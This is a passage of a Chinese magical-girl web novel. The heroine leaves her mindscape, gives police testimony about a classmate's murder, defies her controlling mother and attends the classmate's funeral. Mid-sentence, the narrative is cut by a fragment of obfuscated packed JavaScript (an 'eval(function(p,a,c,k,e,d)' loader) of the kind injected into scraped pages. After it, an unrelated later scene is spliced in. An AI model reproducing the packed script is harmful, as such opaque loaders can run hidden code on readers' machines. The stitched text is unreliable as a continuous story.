实际上我们四个哪怕并没有这样成为朋友也没有关系,我们依旧会各自想办法解决自己的麻烦,我确实得到了很多帮助,收获了很棒的一段时光,谢谢大家。但就这样结束吧,我不需要更多了,再多的只会成为我的负担,所以我不会再继续下去了。很抱歉因为我自私的想法之后可能会造成的麻烦,需要我给你们意见应对吗?” “你怎么会这样想呢?这怎么会成为你的负担呢?”艾克里普匆忙否认,“明明只有我们能互相理解,只有我们是同类不是吗?为什么你会因为除了我们之外的存在而受到影响呢?” 艾克里普想要以这样的想法劝阻有乐羽生不要被外界影响,但没有想到她已经沉浸在自己的内心世界里无法自拔了。 “那又怎样呢?”有乐羽生皱眉,“奇迹美好而需要珍惜,是个奢侈品吧,但既然奇迹出现过不就够了吗?尤其是对于艾克里普来说,我们四个人一齐出现确实是罕见情况,但对你来说并不是必要的吧?” “没有这样的事!”艾克里普大声否认。 “就是这样的啊,尤其是对你来说,艾克里普,你是最珍视却最不需要这个奇迹的那个。”有乐羽生不留情面地说,“艾克里普很特殊吧,活了很久并且对魔法非常熟悉,与我们都不同。你以前一定也认识过别的魔法少女吧,与那些人成为过朋友吗?如果没有的话以后也会有的,毕竟你长寿又强大,哪怕我们三个都死了你也总有一天会遇到新的魔法少女朋友的。” 森山寺未央非常震惊有乐羽生居然能说出这样伤人的话,她都不敢回头去看艾克里普的脸色,如果艾克里普哭了她都不会意外。 但有乐羽生也没有去看艾克里普,仿佛说完这些话之后就不会在意后果了。 “你是这样想的吗?”艾克里普许久之后才开口,“你没有想过我们会一直在一起,一直将我作为不一样的存在看待。” “抱歉,艾克里普,”有乐羽生再次道歉,“我没法回应你的期待,我也并不是一个合格的魔法少女,对不起。” 我做错了什么吗?我搞错了什么吗?艾克里普陷入了自我怀疑和自我质问。她开始快速在脑海里思考这个问题的答案,一时无法做出任何行动,也无法说话。 “我想你并不需要回应我们的期待,”犬山晓严肃地说,“我们是独立的个体,对自己负责,也有自由选择离开,但这与你选择结束这一切并没有关系。你只是在逃避真正的问题,即你到底是为什么选择留在这里而不是和我们一起出去,你为什么连面对这个问题都不愿意呢?这个问题难道很奇怪吗?” “就是说啊!”森山寺未央也焦急地问道,“哪怕有一天要走也没关系,况且你也有自己成为魔法少女的理由吧,那个理由你已经忘记了吗?” “我当时成为魔法少女的原因,说明白些就是因为觉得好玩,我没有将它认真看待,与我的父母交给我的责任完全没有放在一个等级上。”有乐羽生的语气几乎是在自嘲,“这个结界也是,你们也看出来了吧,比起作为狩猎魔物的工具,它更像是满足我个人欲望的场所。” 广阔的游乐园,永远不会暗下来的天空,游荡的鸽子吉祥物和蓝鲸,需要飞行才能通过的流沙地面,都是有乐羽生设计的,自己最喜欢的世界。 “这样开玩笑一样的心像空间很可笑吧?到头来居然把作为主人的我困住了。外面的世界也是,明明只是想发脾气却造成那样的结果也完全是我的错,想耍些小聪明也马上就会被发现,我根本就没办法做好真正意义上的一件事!”有乐羽生说着说着把头低了下来,她在哭,因为到头来被这些话伤的最深的人反倒是她自己。 “你现在这个样子也是在发脾气啊?!既然知道错了就要去想办法改正,而不是在这里干坐着对朋友大喊大叫等死好吗?”森山寺未央对有乐羽生这幅自怨自哀的样子非常生气,她从对方字里行间读出来的只有她的自我埋冤。 对于森山寺未央来和有乐羽生说,家庭有着截然不同的意义,森山寺未央在意自己父母对自己的看法但不会将此作为全部,而仅仅是作为抉择时的一部分权重,而她的父母也尊重她们姐妹二人的想法。她与姐姐自幼便在大多数上自己拿主意,不会做什么事时都想着自己的家人,她们明白自己的孩子拥有的才能相当出众,但也做好了为二人的错误兜底的准备。 “有什么事是不能和父母说的呢?”森山寺未央尽可能温柔地劝说,“哪怕被骂一顿也没关系吧,被骂被打之后一起面对结果不就好了吗?” 但对于有乐羽生来说,她的一生都将会在家庭的阴影下行走。 有乐羽生并不是像她想的那样被困于地面,她自诞生便被高高地托举于天空,摸不着顶但离得更远的那一端是地面,她偶然间接近地面一看便被父母训斥,恐吓并且之后便被看管地更加严厉,久而久之就得上了恐高的毛病。 她从未没有学过如何降落,却抢先一步开始害怕坠落,因为她有自知之明。 “我就是没有办法像姐姐那样拥有足够的能力和勇气啊!我出去了又怎么样?我还不知道她的做法?天生目家族的孩子的死她不会想沾上关系,哪怕沾上的是她的第二个孩子。她说不定草稿都打好了!”有乐羽生哭喊道,“明天早上就能看见我爸上新闻说话,很遗憾天生目白和我的孩子双双遇害,我们会联手找到凶手。” “她不会原谅我的,她们不会接受我这样一个无能又喜欢撒谎的孩子的,你们为什么要来找我呢?你们又了解我多少,了解我什么?”她几乎泣不成声,“她甚至不愿意亲耳听我说话,而是找人监视我,我早就没有话可以和她说了,她早就对我失望透顶了。” 说完她无法抑制地哭泣了起来,那一直被控制着的巨大魔物也像是被影响到了一般呜呜地吼叫了起来,玻璃塔离地面越来越远了。绳索拉紧,如催命一般。 “为什么不会原谅呢?”森山寺未央无法理解。 “你还是个孩子。”艾克里普终于缓了过来,叹了口气,“魔法无法补足阅历,你也还只是个孩子而已,很多事情你还远没到达回不了头的阶段,羽生。”她所理解的“孩子”是指还未能成长的后辈,但有乐羽生所说的“孩子”是指后代。 森山寺未央和艾克里普难以理解她的父母为何会在哪怕未曾进入她的心像空间的情况下从未她选择赴死的原因,却为她话语间直白的崩溃感到悲伤。 为一个人直言自己即将被抛弃的事实感到悲伤。 “有乐千实不是你的姐姐,她是你妈妈的妹妹。”犬山晓说,她有些理解有乐羽生为何而不敢离开这个心像空间了,“你害怕自己离开这个世界以后被放弃,变得无家可归,外面的世界魔法并不能解决一切问题,那还不如就死在这个世界里,对吗?” 犬山晓语气并不激动,但却戳中了有乐羽生的心思。 “十五年前,有乐千实与有乐千奈大吵一架,从此离开自己姐姐和自己的家,从此她的名字不再在你们家被提起。”犬山晓诉说多年前的过去,“十五年前你出生了,现在你因为十五年前的事情而感到害怕,对吗?” “先不说你的出生和她的离家出走哪个先发生,这都十五年了,你妈妈的想法可能早就大变样了不是吗?”森山寺未央也意识到了问题,“十五年里面这两个人有没有联系过你也不知道呀!说不定你妈妈只是在吓唬你呢?” “吓唬我?”有乐羽生喃喃自语,“她不是我的姐姐吗?” “你得叫她姨。”森山寺未央纠正,有乐羽生破涕为笑。 “羽生,你或许会认为说出那些话的自己是个无情的人,那些是你的真心话,但与我们一同度过那些时间的你的笑容也是真心的。”艾克里普蹲下来,温柔用袖子擦她脸上的眼泪,“不要说伤害自己的话,我能看见你的内心,早就能理解你是个什么样的人了。” “咦?看得见吗?”森山寺未央大惊失色。 “是修辞手法吧?”犬山晓也有些紧张。 “确实是看得见的,”艾克里普叹了口气,“我一直都看得见,大家都是很好的孩子,所以我相信大家不会发自真心地想要互相伤害的。” “那倒是没错啦,嘿嘿。”森山寺未央不好意思了起来。 “啊,对,对的。”犬山晓也有些不好意思,“所以羽生你看,我们都是这样的啦。” 她们依然没有想要放弃我,明明我说的话确实伤害了她们,为什么呢?有乐羽生感受脸颊上温柔的触感,这样想着,眼泪却越流越多。 “谁都有不想对自己的所作所为和未来负责的时候的,你才15岁,我想这并不是一个可以决定自己未来的时刻。”犬山晓看向远处的魔物,“其它的不好说,但至少现在我们会陪着你的。” “没错,我们会在一起的,哪怕只有现在。”艾克里普悲伤地说,“来珍惜时间吧?哪怕遇到了不好的事情也要珍惜时间,你比你想象中的要强大。” “…我也想要,一直与大家在一起,开开心心地,”有乐羽生哭着说,“要是能一直开开心心地就好了,要是天空一直是蓝色的就好了。” “可是实际上也有喜欢雨天的人,不是吗?”森山寺未央感同身受地说,“若是不开心就不行的话,那其它的情绪就没有存在的意义了,悲伤也好,庆幸也好,爱也好,都是很珍贵的情绪不是吗?我从来无法理解别人的情绪,所以一直很珍惜自己的所有情绪,你也来试试吧?” “真是羡慕你,能说出这样的话来。”有乐羽生坦诚地说。 “羡慕也不错吧,”森山寺未央笑了,“谁都有羡慕的时候,发自内心的情绪就是好情绪。” “羽生,你现在必须出去,赶在你的父母做些什么之前把真相说出来,只有你说的会有用。”犬山晓看着有乐羽生郑重地说。 “只有你”三个字戳中了有乐羽生心中那一直蠢蠢欲动的部分,她的思绪如万千结群鸟雀越过地平线,想要去往新的栖息地。 “我们会陪着你的。”艾克里普说。 “我们走吧?一切都会有办法的,没办法也没关系啦其实!”森山寺未央着急地说,她隐约看到塔顶接近地面了。 是啊,既然我与有乐千实是不同的,那么我就不应该一直以她为理由不敢反抗,我是魔法少女,但也曾经是普通人,哪怕魔法没法解决一切问题我也得想办法去解决,哪怕受到伤害也没关系。有乐羽生的心里涌现出了勇气和力量,哪怕她的身体越来越缺乏魔力,却生出了一股劲,令她能够再次站立起来。 她抬头,看向视线前方的魔物,围栏,游乐园,天空,以及结界之外的世界,拿起了手中的剑,开始缓慢地朝前走。 很快走路变成了跑,她的羽翼展开,支持着她高高地跳了起来,那魔物的多手挥舞,她出剑,劈向那魔物的颈部—— ——卡拉一声,藏在魔物颈部的锁链碎开,落下,消失,很快她靴子上的枷锁也碎裂消失了。 “谢谢你们!我们走吧!”有乐羽生回头这样说,脸上还有泪痕,语气却是与之前的软弱截然不同,坚定而毅然。 “心像空间要崩塌了!大家快往边界跑!”艾克里普急切地说。 有乐羽生用所剩不多的魔力召集心像空间里的造物,吉祥物鸽子成群飞来,自发链接成一条通往外界的轨道,同时一辆过山车也飞了过来,几人见了便快速往座位上跳去,艾克里普小心翼翼地坐进了最后一排。 坐在最前排的有乐羽生抓着身前的保护杆,回头看了最后一眼,那本沉默的旋转木马不知是不是因为结界里的混乱,竟在此时亮起,如同八音盒一般开始旋转,而在那之后,玻璃塔沉进流沙的漩涡中。 “出发!”有乐羽生说。 列车如离弦之箭一般飞射出去,沿着吉祥物轨道一路冲向心像空间的边界,可能是因为轨道由气球吉祥物制成,没有任何的颠簸。途径无数蓝鲸对即将对即将离开的游客鸣叫,如往常一般一尘不染的游乐园不知道自己即将消逝,依旧殷勤地运转着。 最后,列车从半空中的轨道坠下,不远处就是几人一开始进来的位置,几人明白现在就是离开的时刻。几人从半空中跳起,犬山晓从自动弹起的横杆下捞起有乐羽生,朝结界撞去。 下一刻,眼前便是更衣室内,感应灯亮起,照亮造访者凌乱的身影。 “爽!跳过山车!”森山寺未央双手叉腰站直了。 “快吃点吧,别饿晕了。”犬山晓给摊在地上连魔法少女装束都消散了的有乐羽生递蛋白棒。 有乐羽生也顾不上道谢了,拆开一根就开始用力咀嚼,她上一次吃饭已经是好久之前,那一顿还没吃饱。 “心像空间已经完全消失了,”艾克里普确认后说,“羽生有哪里觉得不舒服吗?” 有乐羽生想了想摇摇头,她将嘴里的食物迅速咽下。 “艾克里普,刚才和你说那些话真的很抱歉。我也很喜欢大家,很珍惜我们之间的友谊,所以清楚那些话有多伤人,抱歉。”有乐羽生认真地道歉,她感到羞愧难当,但这时她必须面对自己所做的一切。 “没关系的,你也足够重视我们,这就足够了。”艾克里普笑着摇摇头,“我只是希望我们能一直是朋友,无论如何我都会守护大家的。” “哎呀,我知道不同的人对朋友的看法也不同,不过我相信我们的友谊是革命性的。”森山寺未央有些不好意思地摸摸鼻子,笑了。 “是的,未央,我也必须对你道歉,还有晓,”有乐羽生也不好意思了起来,“明明你们一直在努力想办法,我却在发脾气。” “现在看来想办法是有用的,不用给乐队找新成员了。”犬山晓笑着说,“果然努力就会有好结果。” 几人在更衣室内这样交流着休息了一会,便准备离开前往下一站了。 “接下来你打算怎么做?”森山寺未央问。 “我要去找负责这件事的警察,说明事实以及结束失踪状态。”有乐羽生整理了一番身上的校服,严肃地说。 “走吧。”犬山晓说。 “我们一起去。”艾克里普说。 25. Ⅷ 2024年4月21日,周日,天气多云。 城市环境保护部门在定期发布会上表达对特定组织的资源浪费行为的强烈谴责,包括短期多次私人飞行行为以及化学废物排放行为。 大学城区域附属警察局与大学社会学教授合作分析城市行为,合作管理城市安全。 财务部长对城市近期油价与基础用品的涨价行为进行解释,称会在短期内得到控制。 网络安全部门近期阻止多起网络诈骗事件,提醒市民远离各种另类网赌行为。 以及,失踪的学生主动报案并告知关于坠楼事件的真相: “是的,我要作为现场目击证人说出我知道的一切。”画面中,没有面部图像的有乐羽生坚定地看向提问者。 “天生目白的死并不是出于自杀,而是谋杀,她身受枪击并掉下天台,我目击到了整个过程。枪击大概率来自天台入口处死角,因为我没有看见开枪者的面容和身形。 在事发后第一时间我因恐慌而选择躲藏,是的,我知道有人为我提供了不在场证明,在表达感谢之余我不会对此进行解释。因为我没有必要在对我有利的方面说谎,你们自然可以自行决定我的话是否可信。我的建议?那就当作这是魔法如何? 无论我现在所说的话会造成什么影响,它都不会影响到我的决定。我这样做的原因,那当然是因为能做到的人只有我了。 那么各位,早上好,祝各位度过美好的一天。” 从市政府办公区域离开后,有乐羽生与藏在附近小巷子里的同伴汇合,在看到她们的那一刻后,她本还悬着的一口气忽然松了下来。 “这里周日原来是营业的吗?我以为不上班呢。”森山寺未央看着政府办公楼营业时间指南好奇地问,“不过我也从来没进去过,这里面还挺大的。” “不管上不上班里面都有人在的啦。”有乐羽生说着,忽然笑了,“里面确实很大,而且空空的,但是我一想到你们在外面我就没什么好害怕的啦!” “没错!”艾克里普认同地点头,“心怀正念就没有需要害怕的理由,羽生并没有做错误的事,也没有说任何谎言,做的很好哦。” “虽然事到如今已经做完了,但是果然后续才是问题所在吧。”犬山晓担心地问,“你的妈妈那边怎么办?之前我看到她去学校找你了,而且,可能,我说了些什么后她挺生气的。” 听了这件事后有乐羽生一愣。 “…母亲她,来接我了吗?”有乐羽生沉默了一会,随后笑着说道,“无论她说什么,怎么生气都可以吧,无论哪种都比忽视我或者假装什么都没有发生过要好。” “也是。”犬山晓听了后也松了口气,“那就尽快回家吧。” “说起这个我也得快点回去了!”森山寺未央摸出了手机说,“哇我真的得快点去车站那里,现在回去还能假装我晚上没出过门,我得走了,大家明天见!” 说完她就朝车站广场那里跑去了。 “没错。”有乐羽生坚定地说,“我要回家了。” “你知道你在做了什么吗?”清晨,在有乐家大门之外审视归来的有乐羽生的有乐千奈脸色不善,眼神锐利像是在审问罪人。很显然,有乐羽生之前的那番话已经被这位消息灵通的大人提前得知了。 而这并不能令有乐羽生退缩,她甚至没有低下头。 “我想要这样做,母亲。”有乐羽生郑重地说,她深知自己的行为一定是与母亲的想法相违背的,但她还是这样想,也这样做了。 有乐千奈理解了这一点的一刻无法在愤怒中保持她不变的表情了。 “你应该知道我的安排,你唯一要做的事情就是做好我交给你的任务,其它的你不需要管也不需要听,为什么你不听话?你知道你一直在给我造成麻烦吗?”有乐千奈大声斥责,她的眼尾抽搐,连带着那象征年龄的纹路也如雷霆本身在移动一般,她是家族的唯一发声者,出口的必然要被实行。 而过往也确实如此,这里没有人不知道她想要什么。有乐千奈做出的一切都是为了利益,她用利益装点自身,用利益筑起围墙,用利益哺育家族。而有乐羽生也同样知道,有乐千奈的在达成目标的过程中,那用以衡量重量的天平上,她的家族也永远作为筹码的一部分等候被使用。 所以她会对筹码擅自挪来挪去感到生气也是正常的吧,这样想着,有乐羽生在心中叹息,有悲伤与无奈划过,但最后,留下的只有对最初想法的坚定。 “因为我有自己想做的事。很抱歉昨天没有回家,让您担心了。”有乐羽生直视自己的母亲这样说道,她并非不怕,她怕极了,但她心里有一股劲,那股劲撑着她的头没有低下,彰显她来的不算迟的叛逆期如今正是大放异彩的时刻。 有乐羽生深知这里她不能认错,因为她发自真心地认可自己做的一切,她已经放弃了自己一次,而这一次她说什么都不会让步。 “这段时间你吃的苦头还不够多?你到底要怎样才明白你做的这些到头来都是无用功?你以为你很勇敢?你在做的唯一一件事就是自讨苦吃!”有乐千奈大步走向自己的女儿,自从高中开始之后那从前从未出过错的孩子好像头一次对陌生的世界产生了兴趣一般什么都敢碰。 有乐羽生没有动。 “有人找到学校里的话你准备怎么说?之前在学校里的时候我就发现你的人际关系处理得不够完善了,现在你是想怎么样?这些事情我本来都不想管你了,谁知道你还能做出这种事?你做出这些事之前没有想过我的反应吗?” 有乐羽生没有回应。 “你自己做出这件事之后天生目家那里如何反应你想过吗?我以前让你和她们好好相处,现在倒好,你说那些话之前考虑过自己以前做的事吗?考虑过我们吗?没有吧!” 有乐羽生没有闭上眼。 “你莫名其妙消失这么久就是为了做这些?你还记得我以前教你的东西吗?到底是什么时候开始你变成现在这幅不听话的样子了?我为你做的还不够多吗?” 有乐羽生没有低下头。 有乐千奈清楚地知道自己这些话是非常伤人的,但她却相信自己的孩子会在受伤之后变得更加强大,更加听她的话。在她无法知道的地方,她的孩子受了伤,但也因此变得坚强了。有乐羽生明白这些她都不会知道,她甚至不会想去了解,她想要的只有控制。 “母亲,我都知道的。”有乐羽生笑了,她正视母亲的愤怒说道,“因为这是我想做的事情,您一直以来都辛苦了,很抱歉。” 空气一时寂静了,有乐千奈藏在雾霾中的蓝色瞳孔盯着有乐羽生,而对方依旧自大地微笑着,仿佛她说的那些话已不再能对其造成影响。 有乐羽生尝试过各种方式去应对来自家里的压力,顺从也好,无视也好,以自己的方式反抗也好,直到最后她只是对这一切都感到厌倦,并且发自内心地想要逃离令她感到无趣的一切。 但是现在,她不会逃避了,她面对母亲的愤怒,承担愤怒的后果。 大概要开始说有乐千实如何了吧,有乐羽生心想。若是说之前她还会因为对方的存在与后果感到不安和痛苦。但在她得知对方与她并不是姐妹之后,她意识到自己不应该把对方的结果当作自己的参照物,并以此来心安理得地放弃挣扎。有乐羽生心里变得坚定了一些,抬头时视线余光发现自己父亲在隔窗看着自己。 “你——”那只一直怀揣着的手伸向有乐羽生,但她不躲不避,执拗地看着自己的母亲。 “你还知道回来?”有乐善太郎推开有乐千奈背对着的屋子大门走出,语气严厉地看着有乐羽生说,“你母亲昨晚都没睡觉你知道吗?” 有乐家又恢复了一瞬间其该有的寂静。 “我回来了,父亲。”有乐羽生说着,悄悄看了一眼有乐千奈的脸色。 “进去,别让外面的人看了笑话。”有乐善太郎严肃地说。 有乐羽生转头看了看有乐千奈,对方深深地看了自己一眼后抱臂转身进了屋内,于是她也跟了进去。 总之先进去,之后的问题再说吧,有乐羽生现在心情相当平和。 回到房间简单洗漱并换好衣服后,有乐羽生来到餐厅,虽然还不是早餐时间,但厨师和侍者都开始忙碌了起来。一切仿佛又回到了熟悉的情况之中,但此刻有乐羽生抬头看着那天花板上的水晶吊饰时,却发现自己也能欣赏起那折射出的光芒了。 “你昨天做什么去了?”她的父亲开口问道。 “我一直在学校里。”有乐羽生坦诚地说。 “你胆子是真的变大了不少啊。”父亲神情中的讶异不似做伪,“周六特殊武装部队包围了日之森进行搜查,你在说话前最好考虑一下部队的指挥是你母亲。” “净挑些没用的地方进步,你现在最好是说实话。”母亲冷峻地说。 “我没有说谎,我就是一直都在学校里。”有乐羽生面色不变。 于是,有乐千奈也终于看出了自己的孩子与以往不同了,原因和过程不明,但结果就摆在眼前。她因此感到烦躁,她也曾经考虑过如果自己的孩子有一天做出了出格的事情要如何惩治并将她拉回正轨,但现在看来那些手段竟是不确定能起到作用了。 到底是出了什么问题呢?有乐千奈沉默着思索,要找出病因才能根治,才能让有乐羽生变回正轨上的乖孩子,她才能完全按照自己安排的路走,她才能走向成功,完成自己的目标。 于是在这条路上,一个因为她选择避开而忽视的盲点被她注意到了。 “上周西部市区北部警署有日之森的学生报警声称目击过嫌疑目标,这件事与你们学生会的内部决定有关吗?”有乐千奈忽然问道。 有乐羽生哪里知道学生会内部会议的决定,她很早之前就不怎么在会议上发言了。但关于这件事她确实有些事实可以说出来。 “我的朋友目击到了现场,我陪她去报警了。”有乐羽生说,她并不明白为何母亲忽然提起这件事,但她也不想让母亲因自己的隐瞒而更加生气了。 “哪个朋友?你的那个乐队里的?还是学生会里的?”有乐千奈的语气变得危险了起来,就连有乐善太郎都不禁朝她看去,脸色疑惑但没有开口。 “是乐队的朋友,名字叫犬山晓。”有乐羽生坦诚地说,她想起对方说过见过有乐千奈,那或许双方都会留下印象。 得到这个答案后,有乐千奈眉头松开了一些,但很快又重新皱起来了。 “你有没有遇到,异常现象?”有乐千奈问道,她的语气一反常态地并不肯定,“无论什么,人还是事,过去的路上和回来的路上,全部告诉我。” “确实是遇到了一个人,她说小时候来看过我,大概二十岁左右的女性,我没什么印象了,我们没说几句话就分开了。”有乐羽生实话实说,想起格雷伊时她的心里出现了一些感激。 而得到回应的有乐千奈脸色变得非常,非常凝重。仿佛一个小时后就要交的文件在上交前复查的时候查出了会导致巨大风险出现的结构性的漏洞一般。 有乐羽生意识到了事情的严重性。以她对母亲的了解,对方出现这个表情的意思是说明有不可挽回的损失即将出现。但这也令有乐羽生感到不解,为何她与格雷伊的相遇会导致不可挽回的损失呢? 不对,有乐羽生反应过来,或许是她确切地和野兽袭击事件产生了联系,这件事才会导致不可挽回的损失。就之前的新闻和有乐羽生自己的看法,有乐千奈似乎是准备让这件事与市政府脱开关系,或者说与她们家脱开关系的。这样的行为在以避免损失为目标的前提下来看是完全可以被理解的,但现在来看,目标还存在着另一重关系。 而作为魔法少女,有乐羽生很难不把这一关系连接上她见过的那个人造魔物,以及她身后的幕后黑手身上。 那么,母亲知道多少,又在其中做了什么呢?有乐羽生这样想着,第一次以一个较为平等的角度去看,去思考她的母亲。这位被敬称为顾问的存在同样在思考她的孩子。 思考没有持续多久,有乐千奈闭上眼,再次睁开时她恢复了优雅的仪态和微笑。她迅速站了起来,拿出手机,但临走前她回头警告有乐羽生说:“这件事不算过去了,你这段时间给我好好上课,手机管家会还给你,给我好好带在身上知道吗?” “好的母亲。”有乐羽生点头,看着对方的背影有些担心对方一晚没睡又不吃早饭对身体不太好。不过周日本就是她们家的禁食日,想到这一点她又感到了一些无奈。 随后快步离开去了一楼带隔音的会客室,门被关上了。 “我和日之森教务处那里已经说好了,学校里不会再有人讨论与这件事相关的事情,课业你不能落下。”父亲说。 “我会的,”有乐羽生应道,随即她想问问关于有乐千实的事情,“关于我们家里十五年前住过的那位,父亲知道些什么吗?” “什么?”她的父亲非常惊讶有乐羽生会问关于这个的问题,面色严肃了起来,“她的离开确实不仅仅是因为与你的母亲吵架,但这对你来说并不重要。你要清楚虽然你的母亲虽然很严厉但无论如何都是在为你着想的,她比谁都关心你,为什么突然问这个?” 有乐羽生看得出自己父亲有些紧张,就是不知道是在对谁了。 “我明白的,我只是好奇,连名字都不能告诉我吗?”有乐羽生问。 “知道了也没有用,知道了你还不得做更多事惹你母亲生气?你唯一需要关心的是你自己的学习问题,这几天也没有宴会需要你出席。”她的父亲不打算继续回答问题,招手让侍者带来准备好的简单早饭。 “好吧,我明白了。还有一件事。”有乐羽生说。 “最好是有价值的问题。”她的父亲感到有些头疼。 “是的,我觉得我在家里吃饭时获得的食物太少了,我每天都很饿。”有乐羽生说。 “忍耐是美德,放纵是毁灭的初始,这些你都没记在心里吗?”她的父亲不可置信地说。 “记住了,那我可以有额外的食物吗?我还需要更多零花钱,不需要经过银行审批的那种。”有乐羽生继续问。 “…你这几天别惹你母亲生气,零花钱我会让管家给你的。”她的父亲几经沉默之后开口答应了,“你之前做那些事最好不是因为这种无聊的理由。” “好的我会的,谢谢父亲,食物的分量问题我也会自己说的。”有乐羽生飞快地见好就收。 她的父亲没有再说话,看样子他也因为这几天接连的高强度工作而感到疲惫,侍者带着食物前来,用餐开始了。 虽然说有乐羽生的大部分压力都来源于自己的父母,但她也清楚自己获得的一切也正是因为二人的勤奋工作的缘故,有乐千奈对于孩子有多严格那么对于自己和她的丈夫就会更严格。 只要能达成目标就好,有乐羽生心里轻松了些,同时也对自己母亲感到担心和好奇。 今天虽然不用上学,但对于有乐羽生来说却有着需要前往的目的地,今天是天生目白的葬礼举行的日子。 这是一个阴沉的上午,天空并没有因为昨日之夜的褪去而明媚多少,有乐羽生坐上前往天生目家礼堂的车,短暂地闭上眼休息了一会。 天生目家族人口十分庞大,这源自于该家族祖上在本地一个世纪的人脉发展,且家族大多数家用的侍者都由旁支的后代担任,所以出现问题的话问责起来非常方便。家族决策会议也并不是一言堂,而是由多个长辈一同发表意见共同竞争。 以天生目家为首的几个家族一同运营着灰色生意,互相打掩护,互相帮助以得利,也互相牵制。这个联合组织的名字有乐羽生也知道,叫做白夜社。这里每个孩子自出生起便会接触到其父母所掌握的那一部分家族生意,在父母的培育下逐渐真正成为家族的一员并培养自己的势力,以在长大后接手并扩张手中的权利。 而天生目白这样失去父母的孩子实际上并不少,大多数会作为旁支被集中抚养并在高中毕业后为家族工作。她的父母在天生目家不是能够参与决策的人物,所以在其死后关于原本二人手中权利的争夺也尤其难看。因为死的突然,二人虽然有心提前为孩子铺路却也没有做足准备,一时令不少人钻了空子,而天生目白也并没有因为年龄而得到多少照顾和怜悯,从而养成了见了谁都保持警惕的性格。 当时的有乐千奈对此并不算一无所知,但她一开始并没有打算参与其中,无论是落井下石还是拉她一把,她是在亲自见过天生目白之后才与天生目清源会面促成这件事的。 车在天生目家族驻地大门前停下,有乐羽生下车,这里她也来过几次,通往葬礼用的礼堂的路她认识。与有乐家里因家规而刻意保持的安静不同,天生目家范围很广阔,每个人却都不自觉地压低声音在说话,安静的家族内每个角落里都时刻在传出窃窃私语。 天生目白的葬礼上来的人非常的少,大多数同学因为下意识想远离□□的原因拒绝参与,而她在家族内相处比较密切的人也不多。有乐羽生站坐在靠边上的位置看负责人按天生目家族的传统做了法事,礼堂里便安静了下来。 周围肃静一片,木质长椅在微暗的光源下如同一具具等候人躺下的棺材,入口和角落处的安保人员身上带刀,这也是天生目家族的传统。 礼堂最靠中心,有一位身着黑色正装的中年人站在靠前的位置,单单是矗立在那里就让礼堂显得更为安静,那正是天生目清源天生目白的养母。若是天生目白正常长大成人,她会在成人礼上为天生目白也准备一把刀。 有乐羽生与这位天生目家族议事堂成员不算熟悉,只知道这是母亲的好友,她没有犹豫,准备上前打招呼。 “天生目阿姨,请节哀。”有乐羽生对她低头致礼,转头看着天生目白的遗照发呆。 “羽生?你来了也好,多待会吧。”天生目清源说,话里听出不情绪。 礼堂又安静了下来,二人各怀心事看着遗照,遗照也静静看着二人。 “她说,她一直很害怕被放弃,但是完全看不出来吧,无论是在学校里还是在各种社交活动中她都表现得如同坚强的人一样。所以直到最后她亲口告诉我之后我才发现。”有乐羽生说,“我必须承认我并没有真正地重视我们的友谊,现在我很后悔。” 后悔不该只用语言说明,但有乐羽生想让天生目白听见她的后悔。 “…是这样啊。”天生目清源轻轻叹息,紧紧绷着的肩膀上却似有千斤重,“我一直想要让她能更好地生存下去,天生目家容不下一个吵闹的孩子的,她一直以来都做的很好。我或许应该告诉她的,只是,没来得及。” 有乐羽生内心感到了同样的悲伤,她欲言又止想说些什么,但又不知道哪些能告诉对方。 “你自述给警察的那些消息,我看到了,这些话是她走之前和你说的吧?”天生目清源问。 “是的,我很抱歉。”有乐羽生点头,并不意外对方能在新闻播送之前就知道消息。 “她的父母也好,她也好,死亡都是源自意外,但在白夜社中,意外或许也是必然的。”天生目清源沙哑的声音藏着怒气,“并不是真的有谁想要她们的命,只是她们的命太轻,很轻易地就被搭在了别的东西上,我都知道。” 说着,她的头微微地低下了,没有再看天生目白的遗照,而是盯着那灵柩,深呼吸。她的这些话没有另外一个可以诉说的对象了,于是有乐羽生认真地听着,记着。 “我想让那个孩子强大一点,重要一点,不要那么轻易地被搭上,但是还是来不及。意外来的太快了,她还没有办法应对的。”她说,“意外总是这样,让我什么都来不及做。” 她的背稍稍弯了,她常年行走于家族中参与各类生意上的决策,没有人因她年纪大了便轻视她,哪怕她父母并不在了,也没有与别人结为伴侣,就连收养天生目白也被人看作是因为与有乐千奈的商议结果。 有乐羽生看着她因疲惫而微微弯下的脊背,却仿佛看见她也曾经这样低下头去听年幼的天生目白说话,给出回应。 而听着这些话,有乐羽生内心却是越发坚定了起来,对那些人造魔物与幕后黑手势力的恐惧在此时被更为庞大的情绪覆盖。普通人有普通人行动的方式,而魔法少女也有自己行动的方式,有乐羽生心想,她不会再否认普通人的努力了,也想让她们的努力得到回报。 “我不会放弃找出真凶。”有乐羽生放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你们想从她口里知道她为何这么做?那就得做好大失所望的准备了,她大概率不会回答你什么有用的东西。”启明星确信地说,“我调查了这位助教的入职信息,她本不符合入职条件,想必这背后也有其它推手。” “这也是因为幕后黑手的存在吗?”森山寺未央思索着。 “一部分,不过沟通是不可缺少的一环,请注意安全,她会等着你们的。”启明星说。 “这样吗?不过为什么西西路要用这样的方式呢?”森山寺未央不解,“只是单纯为了栽赃吗?” 就森山寺未央的推测,她不认为这种栽赃能奏效。 “若是以之前的情况为前提,栽赃的效果应该从计划定下的一开始就被降为最低预期了。而且我认为各位不必对幕后黑手的道德持有如此乐观的判断,天生目白的死并不是什么重大代价,至少对我认识的一些相似人来说是这样。”启明星说。 这句话让森山寺未央沉默了下来,就人体实验而言,她确实能看出幕后黑手并不珍视人命。但那些人造魔物与曾经见过面的同学难以重合定位,她感到矛盾又荒谬。 “所以,我推测其目标是试探,试探秘密,试探想法,试探存在。”启明星说,“就我的调查结果显示,这种试探从许久以前就存在过了,不过这就涉及我的其它工作方面信息,这里不方便透露。” “试探羽生的双亲,或者试探我们吗?”森山寺未央若有所思。 “森山寺小姐明察,遗憾地告知您,您并非其目标。” “我?只有我确定不是吗?”森山寺未央不明所以。 “相反,是不需要确定。就我的猎犬勉强能辨认出的相关线索得到的信息,确认表上您的名字后方已经打上了勾,请小心些吧。”启明星严肃地说。 “我吗?”森山寺未央一瞬间想起了什么,不可置信地问,“难道说我——” 她的质疑卡在了喉咙里。 “具体细节就不包含在我能参与的调查范围内了,真是遗憾。”启明星叹气,“但你们应该也清楚目标所试探的目标是什么,没错吧。” 